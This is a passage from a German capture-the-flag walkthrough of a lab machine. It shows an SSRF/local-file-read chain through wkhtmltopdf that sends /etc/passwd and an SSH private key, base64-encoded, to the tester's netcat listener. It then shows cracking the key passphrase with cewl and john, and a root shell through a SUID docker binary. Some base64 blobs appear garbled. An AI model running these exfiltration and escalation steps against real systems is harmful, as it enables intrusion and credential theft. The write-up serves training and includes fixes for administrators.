https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y205dmREcDRPakE2TURweWIyTBPaTl5YjI5ME9pWlhVzR2WW1GemFBcGtZV1Z0YjI0NmVEb3hPakU2WkdGbGJXXVPaTkxYzNJdmMySnBiam92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3BpYVc0NmVEb3lPakk2WW1sdU9pWlhVzQ2TDNWemNpXpZbWx1TDI1dmJHW5hVzRLYzNsek9uZzZNem96T25NWN6b3ZaR1YyT2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25NWJtTTZlRG8wT2pZMU5UTTBPbk41Ym1NNkwySnBiam92WW1sdUwzTjVibU1LWjJGdFpYTTZlRG8xT2pZd09tZGhiV1Z6T2k5MWMzSXZaMkZ0WlhNNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnVPbmc2TmpveE1qcHRZVzQ2TDNaaGNpWpZV05vWlM5dFlXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiSEE2ZURvM09qYzZiSEE2TDNaaGNpXpjRzl2YkM5c2NHUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiV0ZwYkRwNE9qZzZPRHB0WVdsc09pTJZWEl2YldGcGJEb3ZkWE55TDNaWFXNHZibTlzYjJkcGJncHVaWGR6T25nNk9UbzVPbTVsZDNNNkwzWmhjaTl6Y0c5dmJDXVaWGR6T2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25WMVkzQTZlRG94TURveE1EcDFkV053T2k5MllYSXZjM0J2YjJ3dmRYVmpjRG92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3B3Y205NGVUcDRPakV6T2pFek9uQnliM2g1T2k5aWFXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtkM2QzTFdSaGRHRTZlRG96TXpvek16cDNkM2N0WkdGMFlUb3ZkbUZ5TDNkM2R6b3ZkWE55TDNaWFXNHZibTlzYjJkcGJncGlZV05yZFhBNmVEb3pRG96TkRwaVlXTnJkWEE2TDNaaGNpWlZV05yZFhCek9pTFjM0l2YzJKcGJpXViMnh2WjJsdUNteHBjM1E2ZURvek9Eb3pPRHBWVdsc2FXNW5JRXhwYzNRZ1RXRnVZV2RsY2pvdmRtRnlMMnhwYzNRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2FYSmpPbmc2TXprNk16azZhWEpqWkRvdmNuVnVMMmx5WTJRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S1gyRndkRHA0T2pReU9qWTFVE0wT2pvdmJtXVaWGhwYzNSbGJuUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtibTlpYjJSNU9uZzZalUxTXpRNk5qVTFNelE2Ym05aWIyUjVPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemVYTjBaVzFrTFc1bGRIZHZjbXM2ZURvNU9UZzZPVGs0T25NWMzUmxiV1FnVG1WMGQyXlheUJWVc1aFoyVnRaVzUwT2k4NkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXVnpjMkZuWldKMWN6cDRPakV3TURveE1EYzZPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemMyaGtPbmc2TVRBeE9qWTFVE0wT2pvdmNuVnVMM056YUdRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnlkSGt1YldbWJIazZlRG94TURBd09qRXdNREE2T2k5b2IyMWxMMjFoY25SNUxtMWpabXg1T2k5aWFXNHZZbUZ6YUFwbGJXMWxkSFF1WW5KdmQyNDZlRG94TURBeE9qRXdNREU2T2k5b2IyMWxMMlZ0YldWMGRDNWljbTkzYmpvdlltbHVMMkpoYzJnSw]
                      
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107:/nonexistent:/usr/sbin/nologin
sshd:x:101:65534:/run/sshd:/usr/sbin/nologin
marty.mcfly:x:1000:1000:/home/marty.mcfly:/bin/bash
emmett.brown:x:1001:1001:/home/emmett.brown:/bin/bash
                      

**Analyse:** Der Netcat-Listener empfängt eine GET-Anfrage an `/data=...`, wobei der Wert nach `data=` ein langer Base64-String ist. Die Anfrage stammt wieder von `wkhtmltopdf`. Der Base64-String wird mit CyberChef dekodiert und enthüllt den Inhalt der `/etc/passwd`-Datei.

**Bewertung:** Erfolgreicher Test der LFI durch die SSRF-Schwachstelle. Das JavaScript wurde serverseitig ausgeführt und hat `/etc/passwd` gelesen und gesendet. Die Benutzer `marty.mcfly` und `emmett.brown` werden bestätigt.

**Empfehlung (Pentester):** Ändern Sie den Dateipfad im JavaScript-Payload auf `file:///home/marty.mcfly/.ssh/id_rsa`, um den privaten Schlüssel zu exfiltrieren.
**Empfehlung (Admin):** LFI/SSRF dringend beheben!

**Schritt 4: Exfiltrieren des SSH-Schlüssels**
Der JavaScript-Payload in `ssrf.html` wird angepasst, um `id_rsa` zu lesen.

Request:

PST /process.php HTTP/1.1
...
...
        readfile.open("GET","file:///home/marty.mcfly/.ssh/id_rsa", true);

Response:
                     

**Analyse:** Zeigt den relevanten Teil der POST-Anfrage, bei dem der JavaScript-Payload in der hochgeladenen HTML-Datei nun versucht, `id_rsa` zu lesen.

**Bewertung:** Der Exploit wird nun auf die Zieldatei angewendet.

**Empfehlung (Pentester):** Senden Sie diesen Request und überwachen Sie den Listener.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 59580
GET /?data=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 HTTP/1.1
rigin: file://
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 192.168.2.199:4444
                      

**Analyse:** Der Netcat-Listener empfängt erneut eine GET-Anfrage von `wkhtmltopdf` vom Zielserver. Diesmal enthält der `data`-Parameter einen sehr langen Base64-String.

**Bewertung:** **Erfolg!** Der Base64-String enthält den privaten SSH-Schlüssel von `marty.mcfly`, der durch die LFI/SSRF-Kombination exfiltriert wurde. Der Schlüssel ist im OpenSSH-Format und scheint passwortgeschützt zu sein (wie die `-BEGIN OPENSSH PRIVATE KEY-` Zeile und der lange kodierte Block andeuten).

**Empfehlung (Pentester):** Dekodieren Sie den Base64-String, speichern Sie den Schlüssel in einer Datei (z.B. `ider`), setzen Sie die Berechtigungen auf 600 und versuchen Sie, die Passphrase mit `ssh2john` und `john` zu knacken.
**Empfehlung (Admin):** LFI/SSRF beheben! Überprüfen Sie, ob andere sensible Dateien auf diese Weise zugänglich sind.

**Schritt 5: Knacken der SSH-Schlüssel-Passphrase**

┌──(root㉿CCat)-[~] └─# ssh marty.mcfly@192.168.2.114 -i ider
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:q2oJVk8pvyNE1iEAucoSG9iwm1MeIlnMRT7L9fXkqzI.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:23: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
Enter passphrase for key 'ider': 
                      

**Analyse:** Ein erster Versuch, sich mit dem exfiltrierten Schlüssel (`ider`) als `marty.mcfly` anzumelden. Es wird nach der Passphrase gefragt.

**Bewertung:** Bestätigt, dass der Schlüssel passwortgeschützt ist.

**Empfehlung (Pentester):** Fahren Sie mit dem Knacken der Passphrase fort.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# cewl -e -w name_dicc1 http://future.nyx/1955.html
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/) 
                     

**Analyse:** Das Tool `cewl` wird verwendet, um Wörter von der Webseite `http://future.nyx/1955.html` zu extrahieren (`-e` für E-Mail-Adressen, hier wahrscheinlich nicht relevant) und in die Datei `name_dicc1` zu schreiben.

**Bewertung:** Ein kreativer Ansatz, eine benutzerdefinierte Wortliste basierend auf dem Inhalt der Webseite (die "Zurück in die Zukunft"-Thema hat) zu erstellen, um die Passphrase zu knacken.

**Empfehlung (Pentester):** Verwenden Sie die generierte Wortliste `name_dicc1` mit John the Ripper.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# john --wordlist=name_dicc1 hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

inadvertently    (ider)     

1g 0:00:00:00 DNE (2024-09-03 23:59) 1.075g/s 137.6p/s 137.6c/s 137.6C/s future..because
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                     

**Analyse:** John the Ripper wird mit der benutzerdefinierten Wortliste `name_dicc1` auf den extrahierten Hash des SSH-Schlüssels angesetzt.

**Bewertung:** **Erfolg!** John findet die Passphrase: `inadvertently`. Die benutzerdefinierte Wortliste war erfolgreich.

**Empfehlung (Pentester):** Melden Sie sich nun mit dem Schlüssel `ider` und der Passphrase `inadvertently` als `marty.mcfly` via SSH an.
**Empfehlung (Admin):** Verwenden Sie starke Passphrasen, die nicht aus dem Kontext der Anwendung oder des Systems erraten werden können.

┌──(root㉿CCat)-[~] └─# ssh marty.mcfly@192.168.2.114 -i ider
Enter passphrase for key 'ider': inadvertently
Linux future 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 26 10:38:34 2024 from 192.168.1.45
marty.mcfly@future$ id
uid=1000(marty.mcfly) gid=1000(marty.mcfly) groups=1000(marty.mcfly)
                     

**Analyse:** Erfolgreicher SSH-Login als Benutzer `marty.mcfly` unter Verwendung des exfiltrierten Schlüssels `ider` und der geknackten Passphrase `inadvertently`.

**Bewertung:** **Initial Access erreicht!** Wir haben eine interaktive Shell als Benutzer `marty.mcfly` auf dem Zielsystem.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für die Privilegienerweiterung.
**Empfehlung (Admin):** Widerrufen Sie den kompromittierten SSH-Schlüssel. Beheben Sie die SSRF/LFI-Schwachstelle.

**Risikobewertung:** Hoch. Die Kombination aus einer SSRF-Schwachstelle (ausgelöst durch unsichere Verarbeitung hochgeladener HTML-Dateien) und der Möglichkeit, lokale Dateien zu lesen (LFI durch serverseitige JavaScript-Ausführung), ermöglichte die Exfiltration eines privaten SSH-Schlüssels. Das Knacken der Schlüssel-Passphrase führte zu einem direkten Shell-Zugang als Benutzer `marty.mcfly`.
**Empfehlungen (Zusammenfassung):**

Privilege Escalation

Wir haben eine Shell als `marty.mcfly`. Nun suchen wir nach Wegen, um Root-Rechte zu erlangen.

marty.mcfly@future$ find / -type f -perm -4000 -ls 2>/dev/null
  1062406    640 -rwsr-xr-x   1 root     root       653888 Dec 19  2023 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1048014     36 -rwsr-xr-x   1 root     root          35128 Mar 23  2023 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1048526     72 -rwsr-xr-x   1 root     root          72000 Mar 23  2023 /usr/bin/su
  1048012     60 -rwsr-xr-x   1 root     root          59704 Mar 23  2023 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1074972    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
  1068047  44516 -rwsr-xr-x   1 root     root       45582984 May 18  2023 /usr/bin/docker
                    

**Analyse:** Suche nach SUID-Dateien als Benutzer `marty.mcfly`.

**Bewertung:** Die Liste enthält viele Standard-SUID-Binaries, aber auch `/usr/bin/docker`. Eine SUID-Docker-Binary ist eine bekannte und sehr einfache Methode zur Privilegienerweiterung, da Docker standardmäßig Root-Rechte benötigt, um Container zu verwalten.

**Empfehlung (Pentester):** Nutzen Sie die Docker-SUID-Binary, um Root-Rechte zu erlangen. Der typische Weg ist, einen Container zu starten und das Root-Dateisystem des Hosts in den Container zu mounten.
**Empfehlung (Admin):** Entfernen Sie *niemals* das SUID-Bit von der Docker-Binary, wenn Docker normal funktionieren soll. Stattdessen sollte der Zugriff auf die Docker-Binary und die Docker-Gruppe (`docker`) stark eingeschränkt werden. Idealerweise sollten nur vertrauenswürdige Administratoren Docker ausführen dürfen, nicht reguläre Benutzer wie `marty.mcfly`.

marty.mcfly@future$ getcap -r / 2>/dev/null
marty.mcfly@future$

**Analyse:** Suche nach Dateien mit Linux Capabilities.

**Bewertung:** Keine relevanten Capabilities gefunden.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf Docker.
**Empfehlung (Admin):** Keine Aktion.

marty.mcfly@future$ ls
user.txt
                     
marty.mcfly@future$ cat user.txt
fe12df45c64c362ec68abd9c27467e35
                     

**Analyse:** Der User-Flag wird im Home-Verzeichnis von `marty.mcfly` gefunden und ausgelesen.

**Bewertung:** Erster Flag erfolgreich erfasst.

**Empfehlung (Pentester):** Notieren Sie den Flag.
**Empfehlung (Admin):** Keine Aktion.

marty.mcfly@future$ ls ..
emmett.brown  marty.mcfly
                     
marty.mcfly@future$ cd ../emmett.brown
marty.mcfly@future:/home/emmett.brown$ ls- la
-bash: ls-: command not found
                     
marty.mcfly@future:/home/emmett.brown$ ls -a
.  
..  
.bash_history  
.bash_logout  
.bashrc  
.profile
                     

**Analyse:** Wechsel in das Home-Verzeichnis des anderen Benutzers `emmett.brown` und Auflisten der (versteckten) Dateien. Ein Tippfehler bei `ls -la` tritt auf.

**Bewertung:** Zeigt Standard-Konfigurationsdateien. Keine offensichtlich interessanten oder ungewöhnlichen Dateien vorhanden.

**Empfehlung (Pentester):** Überprüfen Sie `.bash_history`, falls vorhanden und lesbar.
**Empfehlung (Admin):** Home-Verzeichnis-Berechtigungen überprüfen.

marty.mcfly@future:/home/emmett.brown$ cat .bash_history
(Leere Ausgabe, History existiert nicht, ist leer oder nicht lesbar)
                     

**Analyse:** Versuch, die Bash-History von `emmett.brown` zu lesen.

**Bewertung:** Die History ist leer, nicht vorhanden oder für `marty.mcfly` nicht lesbar. Liefert keine weiteren Hinweise.

**Empfehlung (Pentester):** Fokus zurück auf den Docker-Exploit.
**Empfehlung (Admin):** Keine Aktion.

**Schritt zur Privilegienerweiterung mittels Docker**

marty.mcfly@future:/var/www/future$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
c6a83fedfae6: Pull complete 
Digest: sha256:0a4eaa0eecf5f8c050e5bba433f58c052be7587ee8af3e8b3910ef9ab5fbe9f5
Status: Downloaded newer image for alpine:latest
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
                     

**Analyse:** Der Docker-Befehl wird ausgeführt. * `docker run`: Startet einen neuen Container. * `-v /:/mnt`: Mountet das Root-Verzeichnis (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. Dies ist der Schlüssel zum Exploit. * `--rm`: Löscht den Container automatisch nach dem Beenden. * `-it`: Startet den Container interaktiv und weist ihm ein TTY (Terminal) zu. * `alpine`: Verwendet das schlanke Alpine Linux Image (wird heruntergeladen, falls nicht lokal vorhanden). * `chroot /mnt sh`: Führt den Befehl `chroot /mnt sh` innerhalb des Containers aus. `chroot /mnt` ändert das Root-Verzeichnis der Shell auf `/mnt` (was dem Root des Hosts entspricht). `sh` startet dann eine Shell in dieser neuen Root-Umgebung. Der `id`-Befehl wird innerhalb der resultierenden Shell ausgeführt.

**Bewertung:** **Privilege Escalation erfolgreich!** Der Docker-Befehl funktioniert wie erwartet. Da die Docker-Binary SUID-Root-Rechte hat und der Benutzer `marty.mcfly` sie ausführen darf, kann er das Host-System mounten und per `chroot` eine Root-Shell auf dem Host erhalten. Die Ausgabe von `id` bestätigt `uid=0(root)`. Der Befehl wurde zweimal ausgeführt, was redundant ist.

**Empfehlung (Pentester):** Sie haben nun vollen Root-Zugriff auf das Host-System. Navigieren Sie zum `/root`-Verzeichnis und lesen Sie die Root-Flag.
**Empfehlung (Admin):** Beschränken Sie den Zugriff auf die Docker-Binary und die Docker-Gruppe. Weisen Sie Docker nicht unnötigerweise SUID-Rechte zu (obwohl dies oft Standard ist).

Flags

marty.mcfly@future$ cat user.txt
fe12df45c64c362ec68abd9c27467e35
# cd /root
# ls
root.txt
# cat root.txt
69c965c53f43ec68d503247796604b3d

**Analyse:** Nachdem Root-Rechte über Docker erlangt wurden, wird in das `/root`-Verzeichnis gewechselt und die `root.txt`-Datei ausgelesen. Der User-Flag wurde bereits zuvor als `marty.mcfly` gelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden und ausgelesen. Die Aufgabe ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (SSRF -> LFI -> Key Exfiltration -> Key Cracking -> SSH Login -> Docker PrivEsc) im Bericht.
**Empfehlung (Admin):** Stellen Sie sicher, dass die SSRF/LFI-Schwachstelle in `process.php` behoben ist. Widerrufen Sie den kompromittierten SSH-Schlüssel und erzwingen Sie starke Passphrasen. Beschränken Sie den Zugriff auf Docker für nicht-administrative Benutzer.